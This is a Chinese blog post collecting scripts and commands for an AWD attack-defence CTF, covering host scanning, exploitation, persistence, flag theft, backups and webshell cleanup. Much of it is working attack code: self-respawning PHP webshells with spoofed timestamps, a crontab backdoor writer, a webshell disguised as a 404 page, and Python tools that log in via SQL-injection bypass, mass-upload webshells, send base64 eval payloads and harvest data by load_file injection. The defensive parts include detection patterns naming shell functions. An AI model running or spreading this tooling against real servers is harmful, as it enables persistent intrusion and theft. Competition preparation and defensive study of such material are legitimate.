CTF AWD 脚本 AWD 赛前准备 Natro92 2024-04-09 2024-04-09 AWD比赛入门攻略总结
因为过几天要参加长城杯线下的awd,前几天参加了一会某平台的awd测试,被打烂了,这里重新准备一下脚本和一些常用命令: 其中md5N4tro92.
=>b70c5fd752cf767e859543caa10e3a21
注意,本篇内容均为网上文章搜罗来的,后期可能会二次修改。且不保证脚本均可跑且无问题,请自行分析。 打不过就删服务,谁也别打😡
比赛流程 一般情况下是先给一段时间进行加固,再进行攻击。之前参加时候不清楚,以为没有开服务。所以一定详细读规则。
攻击准备 信息搜集 一般情况下会给一个ip段,然后需要探活寻找其ip。 比如bugku平台提供的ip: (图来自网络) 批量写脚本然后进行ip探活,其中X为1-255之间批量扫描。 或者比如其他比赛: 也是类似操作,但是似乎域名不能进行nmap等工具的扫描。
IP、端口 nmap官方文档:https://nmap.org/man/zh/man-host-discovery.html httpscan 主机探测:https://github.com/zer0h/httpscan
查看当前ip 扫描C段存活 1 2 namp -sn 192.168 .0.0 /24 httpscan.py 192.168 .0.0 /24 –t 10
端口扫描 一般情况下自己使用的主机端口等信息与其他竞赛者的端口信息一致,先搜集自己主机端口信息,最后再全端口扫描。
1 2 3 4 nmap -sV 192.168 .0.2 nmap -sS 192.168 .0.2 nmap -sS -p 80 ,445 192.168 .0.2 nmap -sS -p- 192.168 .0.2
应用发现 服务 需要寻找自身是nginx还是apache搭建的,并寻找出目录:
1 2 3 4 find / -name "nginx.conf" find / -path "*nginx*" -name nginx*conf find / -name "httpd.conf" find / -path "*apache*" -name apache*conf
网站 寻找网站根目录下的index.php或者index.html等其他文件
1 find / -name "index.php"
日志 1 2 3 4 5 6 /var/log/nginx/ /var/log/apache/ /var/log/apache2/ /usr/local/apache2/logs /usr/local/tomcat/logs tail -f xxx.log
查看访问量前十的链接:
1 cat /var/log/apache2/access.log |awk '{print $7}' |sort |uniq -c| sort -r|head
日志监控 在大佬后面喝汤吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import os import sys import re import pyinotify def setHttpserver (): print ('Please set the log path of HTTPserver' ) logDir = input ('Please input the path:' ) if os.path.isfile (logDir): return logDir else : print ('File does not exist!' ) print ('Exit the program......' ) sys.exit class EventHandler (pyinotify .ProcessEvent ): def __init__ (self , file_path , *args , **kwargs ): super (EventHandler , self ).__init__ (*args , **kwargs ) self .file_path = file_path self ._last_position = 0 logpats = r '((2(5[0-5]|[0-4]\d ))|[0-1]?\d {1 ,2 })(\.((2 (5 [0 -5 ]|[0 -4 ]\d))|[0 -1 ]?\d{1 ,2 })){3 }' self._logpat = re.compile(logpats) def process_IN_MODIFY(self, event): #print("File changed: " + event.pathname) if self._last_position > os.path.getsize(self.file_path): self._last_position = 0 with open(self.file_path) as f: f.seek(self._last_position) loglines = f.readlines() self._last_position = f.tell() groups = (self._logpat.search(line.strip()) for line in loglines) for g in groups: if check_Log(g.string): print(g.string) def check_Log(strLog): if re.search(' union|eval |alert|update|insert|into|from |create|delete|drop|truncate|rename|desc|charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|sub|substring|oct|reverse|right|unhex|prompt|fwrite|curl|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore|whoami|bash|phpinfo|msgbox|select|ord|mid|group|and |flag',strLog,re.I): return True else: return False def LogMonitor(path): wm = pyinotify.WatchManager() mask = pyinotify.IN_MODIFY handler = EventHandler(path) notifier = pyinotify.Notifier(wm, handler) wm.add_watch(handler.file_path, mask) print(' Now Starting Monitor %s' % (path)) while True: try: notifier.loop() except KeyboardInterrupt: notifier.stop() break if __name__ == ' __main__' : logDir = setHttpserver() LogMonitor(logDir)
目录扫描 直接上dirsearch
https://github.com/maurosoria/dirsearch
攻击 漏洞利用 前人栽树 未授权访问漏洞利用总结参考:
https://paper.seebug.org/409/
常见端口利用总结参考:
https://www.cnblogs.com/ldragon2000/p/14161054.html
部分利用工具参考:
https://github.com/vanhauser-thc/thc-hydra Hydra九头蛇https://github.com/shack2/SNETCracker 超级弱口令工具 我用过这个 还行https://github.com/se55i0n/DBScanner 数据库爆破工具https://github.com/cwkiller/unauthorized-check 未授权检测工具
字典参考:
https://github.com/cpkkcb/fuzzDicts https://github.com/TheKingOfDuck/fuzzDicts
可能会使用一些已经被查nday的框架,倒是后记得查有没有nday直接打。 或者说其中某些中间件有nday也同理。 或者可以查看日志,查看别人如何进行攻击。 一般源码中会提供数据库参数,就可以直接使用其参数在可能开放的数据库,或者给出phpadmin服务中登录: 正好这个服务提供了phpadmin,就可以通过数据库写文件、或者直接读文件获取到flag。 或者一般情况不会给太多时间审计,可以尝试用D盾等工具进行后门查找。或者比如cnseay
等工具。 常用:
漏洞资料库集合参考:https://github.com/cckuailong/vulbase 部分已知漏洞检测工具参考:https://github.com/chaitin/xray 支持被动主动扫描https://gobies.org/ 主机探测、端口爆破和漏洞检测https://github.com/knownsec/pocsuite3 批量利用框架
权限提升 如果比赛允许的情况下,可以通过提权、或者上传shell脚本进行提权来做一些事情,比如说有的马是不可以在提供的权限被删除的,但是可以通过自己传shell、提权之后来做到。 参考:
提权参考:https://cloud.tencent.com/developer/article/1942516 一般提权https://github.com/SecWiki/linux-kernel-exploits 提权脚本
权限维持 简单的shell可能会被防守方直接拿下,这就需要使用不死马、反弹shell等方法维持权限,以便拿到后续的分数。 可以把flag放到头文件中方便后续读取:
1 header (php'flag:' .file_get_contents ('/tmp/flag' ));
攻击手段 不死马 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php ignore_user_abort (true ); set_time_limit (0 ); unlink (__FILE__ ); 删除文件本身,以起到隐蔽自身的作用。$file = '2.php' ;$code = '<?php if(md5($_GET["pass"])=="b70c5fd752cf767e859543caa10e3a21"){@eval($_POST[a]);} ?>' ;while (1 ){ file_put_contents ($file ,$code ); system ('touch -m -d "2017-10-17 10:25:33" .2.php' ); usleep (5000 ); } ?>
说实话这个日期可以换一下,我感觉网上这几个日期都是一样的
定时任务写马 1 system ('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==\'b70c5fd752cf767e859543caa10e3a21\'){@eval(\\\\\\\\\$_POST[1]);} \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami' );
命令生成不死马 1 2 3 4 system ('while true;do echo \'<?php if(md5($_GET[pass])==\"b70c5fd752cf767e859543caa10e3a21\"){@eval($_GET[a]);} ?>\' >fuck.php;sleep 0.1;done;' );ps -ax
批量命令不死马 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 import sys,requests '' ' 作用:向靶机发命令来写文件,文件名.index1.php webshell.txt 格式如下: http://127.0.0.1:80/1110/x.php,xost,x http://127.0.0.2/1110/xx.php,POST,x http://127.0.0.3/1011/x.php,get,3 http://192.168.1.155/1110/x.php,post,x http://127.0.0.1/1110/y.php?pass=Sn3rtf4ck,get,a ' '' def loadfile (filepath): try : file = open (filepath,"rb" ) return str (file.read ()) except : print "File %s Not Found!" %filepath sys.exit () def cmd (url,method,passwd): try : url.index ("http" ) urlstr=url[7 :] lis = urlstr.split ("/" ) ip=str (lis[0 ]) Rfile = "" for i in range (1 ,len (lis)): Rfile = Rfile+"/" +str (lis[i]) except : urlstr=url[8 :] lis = urlstr.split ("/" ) ip=str (lis[0 ]) Rfile = "" for i in range (1 ,len (lis)): Rfile = Rfile+"/" +str (lis[i]) try : res = requests.get (url,timeout=3 ) except : print "[-] %s ERR_CONNECTION_TIMED_OUT" %url return 0 if res.status_code!=200 : print "[-] %s Page Not Found!" %url return 0 data={} if method=='get' : data[passwd]='@eval(base64_decode($_GET[z0]));' data['z0' ]='c3lzdGVtKCd3aGlsZSB0cnVlO2RvIGVjaG8gXCc8P3BocCBpZihtZDUoJF9QT1NUW3Bhc3NdKT09IjNhNTAwNjVlMTcwOWFjYzQ3YmEwYzkyMzgyOTQzNjRmIil7QGV2YWwoJF9QT1NUW2FdKTt9ID8+XCcgPi5pbmRleDEucGhwO3RvdWNoIC1tIC1kICIyMDE3LTExLTE3IDEwOjIxOjI2IiAuaW5kZXgxLnBocDtzbGVlcCA1O2RvbmU7Jyk7' try : res = requests.get (url,params=data,timeout=3 ) except : pass elif method=='post' : data['pass' ]="Sn3rtf4ck" data[passwd]='@eval(base64_decode($_POST[z0]));' data['z0' ]='c3lzdGVtKCd3aGlsZSB0cnVlO2RvIGVjaG8gXCc8P3BocCBpZihtZDUoJF9QT1NUW3Bhc3NdKT09IjNhNTAwNjVlMTcwOWFjYzQ3YmEwYzkyMzgyOTQzNjRmIil7QGV2YWwoJF9QT1NUW2FdKTt9ID8+XCcgPi5pbmRleDEucGhwO3RvdWNoIC1tIC1kICIyMDE3LTExLTE3IDEwOjIxOjI2IiAuaW5kZXgxLnBocDtzbGVlcCA1O2RvbmU7Jyk7' try : res = requests.post (url,data=data,timeout=3 ) except: pass '' ' if res.status_code!=200 : print "[-] %s commad exec failed!" %url return 0 ' '' list =Rfile.split ("/" ) b_url="http://" +ip max = len (list )-1 for i in range (1 ,max): b_url=b_url+"/" +list [i] shell_url = b_url+"/.index1.php" res = requests.get (shell_url,timeout=3 ) if res.status_code!=200 : print "[-] %s create shell failed!" %shell_url return 0 else : print '[+] %s sucessed!' %shell_url if __name__ == '__main__' : shellstr=loadfile ("./webshell.txt" ) list = shellstr.split ("\r\n" ) i = 0 url={} passwd={} method={} for data in list : if data: ls = data.split ("," ) method_tmp = str (ls[1 ]) method_tmp = method_tmp.lower () if method_tmp=='post' or method_tmp=='get' : url[i]=str (ls[0 ]) method[i]=method_tmp passwd[i]=str (ls[2 ]) i+=1 else : print "[-] %s request method error!" %(str (ls[0 ])) else : pass for j in range (len (url)): cmd (url=url[j],method=method[j],passwd=passwd[j])
常用 preg_replace伪装404页面 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" > <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html> <?php @preg_replace ("/[pageerror]/e" ,$_POST ['error' ],"saft" ); header ('HTTP/1.1 404 Not Found' ); ?>
批量webshell 固定文件名 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import requestsfrom threading import Threadimport refilename="./webshell.php" class UploadFile (): def __init__ (self,upload_url,prefix_url,login_url="" ): self .session=requests.session() self .login_url=login_url self .upload_url=upload_url self .prefix_url=prefix_url self .suffix_url="" def login (self ): data = { "username" : "admin'#" , "password" : "asd" } self .session.post(url=self .login_url, data=data) def upload (self ): headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" , "Upgrade-Insecure-Requests" : "1" , "Content-Length" : "623" } f = { "pic" : ("webshell.php" , open (filename, "rb" ), "application/octet-stream" ) } res = self .session.post(url=self .upload_url, files=f, headers=headers) self .suffix_url=self .upload_path(res.text) print (res.status_code) def active_webshell (self ): try : self .session.get(url=self .prefix_url+self .suffix_url, timeout=3 ) except Exception as e: print (e) def upload_path (self,content ): pass comp = re.compile ("/upload.*?[.]php" ) path = comp.findall(content) if path: print (path[0 ]) return path[0 ] return "" def start_upload (host,port ): login_url = "http://{}:{}/login.php" .format (host, port) upload_url = "http://{}:{}/admin/upload.php" .format (host, port) prefix_url = "http://{}:{}/admin" .format (host, port) uploadfile=UploadFile(upload_url,prefix_url,login_url) uploadfile.login() uploadfile.upload() uploadfile.active_webshell() if __name__=='__main__' : base_host="ip" base_port=8100 tasks=[] for i in range (1 ,11 ): t=Thread(target=start_upload,args=(base_host,base_port+i)) tasks.append(t) for task in tasks: task.start() for task in tasks: task.join()
批量webshell随机文件名 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 import requestsfrom threading import Threadimport hashlibimport refilename="./webshell.php" shell_content=''' <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '%s'; $code = '<?php if(md5($_GET["pass"])=="47fe7f87f45e7403be0a9eb7a30a2970"){@eval($_POST[a]);} ?>'; while (1){ if(md5(file_get_contents($file))!==md5($code)) { file_put_contents($file,$code); system("touch -m -d '2018-12-01 09:10:12' $file"); } usleep(1000); } ?>''' class UploadFile (): def __init__ (self,host,port ): self .session=requests.session() self .host=host self .port=port self .login_url = "http://{}:{}/login.php" .format (host, port) self .upload_url = "http://{}:{}/admin/upload.php" .format (host, port) self .prefix_url = "http://{}:{}/admin" .format (host, port) self .suffix_url="" def login (self ): data = { "username" : "admin'#" , "password" : "asd" } self .session.post(url=self .login_url, data=data) def upload (self ): headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" , "Upgrade-Insecure-Requests" : "1" , "Content-Length" : "623" } shell_name=get_shell_name(self .host,self .port) f = { "pic" : ("webshell.php" , shell_content%(shell_name), "application/octet-stream" ) } res = self .session.post(url=self .upload_url, files=f, headers=headers) self .suffix_url=self .upload_path(res.text) print (res.status_code) def active_webshell (self ): try : absolute_url=self .prefix_url+self .suffix_url print (absolute_url) self .session.get(url=absolute_url, timeout=3 ) except Exception as e: print (e) def upload_path (self,content ): pass comp = re.compile ("/upload.*?[.]php" ) path = comp.findall(content) if path: print (path[0 ]) return path[0 ] return "" def get_shell_name (host,port ): secret_key="ye1s" strings="{}{}" .format (host,port)+secret_key md5=hashlib.md5() md5.update(strings.encode()) return "." +md5.hexdigest()[0 :6 ]+".php" def start_upload (host,port ): uploadfile=UploadFile(host,port) uploadfile.login() uploadfile.upload() uploadfile.active_webshell() if __name__=='__main__' : base_host="ip" base_port=8100 tasks=[] for i in range (1 ,11 ): t=Thread(target=start_upload,args=(base_host,base_port+i)) tasks.append(t) for task in tasks: task.start() for task in tasks: task.join()
得分 批量利用框架工具:https://github.com/Ares-X/AWD-Predator-Framework
需要编写py或者curl的一些脚本来实现批量提交。
批量拿flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 import sys,requests,base64def loadfile (filepath ): try : file = open (filepath,"rb" ) return str (file.read()) except : print "File %s Not Found!" %filepath sys.exit() def file_write (filepath,filecontent ): file = open (filepath,"a" ) file.write(filecontent) file.close() def getflag (url,method,passwd,flag_path ): flag_url="192.168.45.1" try : res = requests.get(url,timeout=3 ) except : print "[-] %s ERR_CONNECTION_TIMED_OUT" %url file_write(flag_path,"[-] %s ERR_CONNECTION_TIMED_OUT\n\n" %url) return 0 if res.status_code!=200 : print "[-] %s Page Not Found!" %url file_write(flag_path,"[-] %s Page Not Found!\n\n" %url) return 0 cmd = "curl " +flag_url getflag_cmd ="echo system(\"%s\");" %cmd data={} if method=='get' : data[passwd]='@eval(base64_decode($_GET[z0]));' data['z0' ]=base64.b64encode(getflag_cmd) try : res = requests.get(url,params=data,timeout=3 ) if res.content: content = url+"\n" +res.content+"\n\n" file_write(flag_path,content) print "[+] %s getflag sucessed!" %url else : print "[-] %s cmd exec response is null!" %url content = url+"\ncmd exec response is null!\n\n" file_write(flag_path,content) except : file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n" %url) print "[+] %s Getflag Failed! You can check the shell's passwd!" %url elif method=='post' : data['pass' ]='Sn3rtf4ck' data[passwd]='@eval(base64_decode($_POST[z0]));' data['z0' ]=base64.b64encode(getflag_cmd) try : res = requests.post(url,data=data,timeout=3 ) if res.content: content = url+"\n" +res.content+"\n\n" file_write(flag_path,content) print "[+] %s getflag sucessed!" %url else : print "[-] %s cmd exec response is null!" %url content = url+"\ncmd exec response is null!\n\n" file_write(flag_path,content) except : file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n" %url) print "[+] %s Getflag Failed! You can check the shell's passwd!" %url if __name__ == '__main__' : flag_path="./flag.txt" shellstr=loadfile("./webshell.txt" ) list = shellstr.split("\r\n" ) i = 0 url={} passwd={} method={} for data in list : if data: ls = data.split("," ) method_tmp = str (ls[1 ]) method_tmp = method_tmp.lower() if method_tmp=='post' or method_tmp=='get' : url[i]=str (ls[0 ]) method[i]=method_tmp passwd[i]=str (ls[2 ]) i+=1 else : print "[-] %s request method error!" %(str (ls[0 ])) file_write(flag_path,"[-] %s request method error!\n\n" %(str (ls[0 ]))) else : pass for j in range (len (url)): getflag(url=url[j],method=method[j],passwd=passwd[j],flag_path=flag_path) print "Getflag finished!"
批量提交flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 import jsonimport requestsimport refrom threading import Threadfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning) requests.packages.urllib3.disable_warnings() class FlagFile (): def __init__ (self ): self .flag_file = "./flag.txt" def add_one (self, flag ): if flag: with open (self .flag_file, "a+" ) as f: f.write(flag + "\n" ) def add_many (self, flags ): if flags: with open (self .flag_file, "a+" ) as f: for flag in flags: f.write(flag + "\n" ); def del_all (self ): f = open (self .flag_file, "w+" ) f.truncate() def get_all (self ): with open (self .flag_file, "r" , encoding='utf-8' ) as f: flags = set ([i.strip() for i in f.readlines() if i ] ) return flags def submit_flag (flag ): host_url="http://awd.hillstonenet.com/api/flag" headers={ "Content-Type" : "application/json; charset=UTF-8" , "Authorization" : "d89fdcf7f1fd37a69aef7ea0d507a51a" } data={ "flag" :flag } try : data=json.dumps(data) r=requests.post(host_url,data=data,headers=headers) print (r.text) except Exception as e: print (e) def match_flag (content ): comp = re.compile ("hillstone{.*?}" ) path = comp.findall(content) if path: print (path[0 ]) return path[0 ] return "" def web1_shell (host,port ): shell_url = "http://{}:{}/admin/upload/admin.php?pass=p455word" .format (host, port) command="show_source('/flag');" data = { "a" : command } res=requests.post(url=shell_url,data=data) return match_flag(res.text) def web2_sql (host,port ): sql_url="http://{}:{}/sqlgunsearch.php" .format (host,port) data={ "key" : "key=aa%' union select 1,2,load_file('/flag')#--" } try : res=requests.post(url=sql_url,data=data) return match_flag(res.text) except Exception as e: print (e) def web3_shell (host,port ): shell_url = "http://{}:{}/includes/config.php?d=assert" .format (host, port) command = "show_source('/flag');" data = { "c" : command } res = requests.post(url=shell_url, data=data) return match_flag(res.text) class web1_exp (): def __init__ (self,host,port ): self .host=host self .port=port self .flag_file=FlagFile() def sql (self ): pass def rce (self ): pass def webshell (self ): flag=web1_shell(self .host,self .port) self .flag_file.add_one(flag) class web2_exp (): def __init__ (self,host,port ): self .host=host self .port=port self .flag_file=FlagFile() def sql (self ): flag=web2_sql(self .host,self .port) self .flag_file.add_one(flag) def rce (self ): pass def webshell (self ): pass class web3_exp (): def __init__ (self,host,port ): self .host=host self .port=port self .flag_file=FlagFile() def sql (self ): pass def rce (self ): pass def webshell (self ): flag=web3_shell(self .host,self .port) self .flag_file.add_one(flag) def web_exp (host,port,num ): exp = eval ("web{}_exp(host, port)" .format (num)) exp.sql() exp.rce() exp.webshell() def attack_web (host,port,num ): base_host=host base_port=port tasks = [] flag_file = FlagFile() flag_file.del_all() for i in range (1 , 11 ): tasks.append(Thread(target=web_exp, args=(base_host, base_port + i,num))) for task in tasks: task.start() for task in tasks: task.join() for flag in flag_file.get_all(): submit_flag(flag) if __name__=='__main__' : base_host1 = "ip" base_port1 = 8100 base_host2 = "ip" base_port2 = 8200 base_host3 = "ip" base_port3 = 8300 attack_web(base_host1,base_port1,1 ) attack_web(base_host2, base_port2,2 ) attack_web(base_host3, base_port3,3 )
防御 网站备份 防止源码修改出问题,或者被恶意删除源码(实际上我第一次存源码的时候忘记备份,直接就给删除了,导致后续服务一直没有,也就一直被扣分)
压缩文件 1 2 tar -cvf web.tar /var/www/html zip -q -r web.zip /var/www/html
解压文件 1 2 tar -xvf web.tar -c /var/www/html unzip web.zip -d /var/www/html
备份到其他位置 这个挺重要的,否则你在web根目录下,一般都是全删了,不给你机会。
1 2 mv web.tar /tmpmv web.zip /home/xxx
文件上传、下载 1 2 3 4 scp username@servername:/path/filename /tmp/local_destination scp /path/local_filename username@servername:/path scp -r username@servername:remote_dir/ /tmp/local_dir scp -r /tmp/local_dir username@servername:remote_dir
或者直接用termius或者xshell、xftp配合来实现。
数据库备份 数据库配置信息一般可以通过如config.php/web.conf等文件获取。 以MySQL数据库备份数据为例:
备份指定数据库 1 mysqldump –u username –p password databasename > bak.sql
备份所有数据库 1 mysqldump –all -databases > bak.sql
导入数据库 1 mysql –u username –p password database < bak.sql
数据库操作 1 2 3 4 5 6 7 数据库登录:mysql -udb_user -pdb_passwd 创建数据库:mysql>create database db_name; source 还原:mysql>use db_name; mysql>source /tmp/bak.sqlmysql 还原:mysql -udb_user -pdb_passwd db_name< /tmp/bak.sql
修改口令 一般情况下防止被强登或者改密,注意这里的密码不仅仅指ssh密码、数据库密码,当然也包括web服务的一些弱口令。
1 2 3 passwd username set password for mycms@localhost = password('123' ); find /var/www/html -path '*config*’ #查找配置文件中的密码凭证
检查备份 1 2 find /var/www/html/ -name "*.tar" find /var/www/html/ -name "*.zip"
后门查杀 寻找恶意文件 1 2 3 4 find /var/www/html -name *.php -mmin -20 find ./ -name '*.php' | xargs wc -l | sort -u grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more
常见webshell 1 2 3 4 5 6 7 8 9 10 11 12 <?php @eval ($_GET ['cmd' ]); ?> <?php @eval ($_POST ['cmd' ]); ?> <?php @eval ($_REQUESTS ['cmd' ]); ?> <%Runtime.getRuntime().exec (request.getParameter("cmd" ));%> <%eval request ("cmd" )%> 或 <% execute(request("cmd" )) %>
不死马处理 杀掉进程重启服务(这个一般没有权限做不到)、写同名文件夹或者写一个sleep时间低于别人的马、或者写脚本不断删除马。 只删掉脚本是没用的,因为php执行的时候已经讲脚本解释成opcode运行。
1 2 3 4 5 <?php system("kill -9 pid;rm -rf .shell.php" ); ?>
1 rm -rf .2.php | mkdir .2.php
1 2 shell.php: <?php @eval ($_GET ['9415' ]); ?> url访问:shell.php?9415=system('kill -9 -1' );
top 查看占用率最高的cpu进程 q 退出 M 根据驻留内存大小进行排序 P 根据CPU使用百分比大小进行排序
1 2 3 4 5 6 7 <?php while (1 ) { $pid = 不死⻢的进程PID; @unlink ("c.php" ); exec ("kill -9 $pid " ); usleep (1000 ); }?>
后门用户查杀 UID大于500的都是非系统账号,500以下的都为系统保留的账号,使用
关闭端口 1 2 3 netstat -anp firewall-cmd --zone= public --remove-port=80/tcp –permanent firewall-cmd –reload
关闭进程 漏洞修复 一般情况下应该没机会修,使用一些过滤函数,可以上一些注释或者删除相关代码。 可以vim直接改,也可以改了再上传。 参考:
https://www.cnblogs.com/iAmSoScArEd/p/10651947.html 常规漏洞修复建议https://www.cnblogs.com/chenpingzhao/p/4802179.html PHP安全函数
流量监控 流量监控日志https://github.com/wupco/weblogger https://github.com/DasSecurity-Labs/AoiAWD
批量包含文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php function install ($dir ,$filename ) { $layer_list = scandir ($dir ); foreach ($layer_list as $i ){ if ($i === '.' || $i === ".." ) { continue ; } $next = $dir . $i ; if (is_dir ($next )) { if ($next [strlen ($next ) - 1 ] !== '/' ) { $next .= "/" ; } install ($next ,$filename ); } else { $ext = end (explode ('.' , $next )); $php_ext = ["php" , "php5" , "phtml" ]; if (in_array ($ext , $php_ext ) && strlen ($ext ) !== strlen ($next )&& $next !=__FILE__ ) { $old_file_str = file_get_contents ($next ); file_put_contents ($next , "<?php include_once '" .$filename ."'; ?>" . $old_file_str ); } } } } function uninstall ($dir ,$filename ) { $layer_list = scandir ($dir ); foreach ($layer_list as $i ) { if ($i === '.' || $i == ".." ) { continue ; } $next = $dir . $i ; if (is_dir ($next )) { if ($next [strlen ($next ) - 1 ] !== '/' ) { $next .= "/" ; } uninstall ($next ,$filename ); } else { $ext = end (explode ('.' , $next )); $php_ext = ["php" , "php5" , "phtml" ]; if (in_array ($ext , $php_ext ) && strlen ($ext ) !== strlen ($next )&& $next !=__FILE__ ) { $old_file_str = file_get_contents ($next ); echo $next . "\n" ; file_put_contents ($next , str_replace ("<?php include_once '" .$filename ."'; ?>" , "" , $old_file_str )); } } } } if (isset ($argv [1 ]) && $argv [1 ] === "--install" ) { if (!isset ($argv [2 ])) { die ("Usage: php fileinclude.php --install [web dir] [incoude file]\n Example: php fileinclude.php--install /var/www/html /tmp/filename.php" ); } $install_path = $argv [2 ]; $include_file = $argv [3 ]; if ($install_path [strlen ($install_path ) - 1 ] !== '/' ) { $install_path .= "/" ; } install ($install_path ,$include_file ); die (); } if (isset ($argv [1 ]) && $argv [1 ] === "--uninstall" ) { if (!isset ($argv [2 ])) { die ("Usage: php fileinclude.php --uninstall [web dir] [incoude file]\n Example: php fileinclude.php --uninstall /var/www/html /tmp/filename.php" ); } $install_path = $argv [2 ]; $include_file = $argv [3 ]; if ($install_path [strlen ($install_path ) - 1 ] !== '/' ) { $install_path .= "/" ; } uninstall ($install_path ,$include_file ); die (); } ?>
用法:
1 2 3 4 包含:php fileinclude.php --install [web dir] [filename] php fileinclude.php --install /var /www/html /tmp/129 fc23931a5be05b43f0e9d2c90bd15/weblogpro.php 删除包含:php fileinclude.php --uninstall [web dir] [filename] php fileinclude.php --install /var /www/html /tmp/129 fc23931a5be05b43f0e9d2c90bd15/weblogpro.php
其他常用命令 1 2 3 4 5 6 7 8 netstat -ano/-a uname -a ps -aux、ps -ef cat /etc/passwd ls /home/ id find / -type d -perm -002 grep -r “flag” /var/www/html/
文件监控 寻找20min内修改的文件
1 find /var/www/html -name *.php -mmin -20
文件监控脚本1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import sys,subprocess,osdef scanfile (): command = "find -name \'*.php\' -mmin -10" su = subprocess.Popen(command,shell=True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE) STDOUT,STDERR = su.communicate() list = STDOUT.split("\n" ) return list def loadfile (addr ): data = "" try : file = open (addr,'r' ) data = file.read() except : return 0 all_data = addr+"\n" +data+"\n\n" file1 = open ("shell.txt" ,'a+' ) try : shell_content = file1.read() except : shell_content = "null" if data : if all_data not in shell_content: file1.write(all_data) file.close() file1.close() rm_cmd = "rm -rf " +addr su = subprocess.Popen(rm_cmd,shell=True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE) su.communicate() print "loadfile over : " +addr if __name__ == '__main__' : while True : list = scanfile() if list : for i in range (len (list )): if list [i]: loadfile(str (list [i])) else : pass
文件监控脚本2
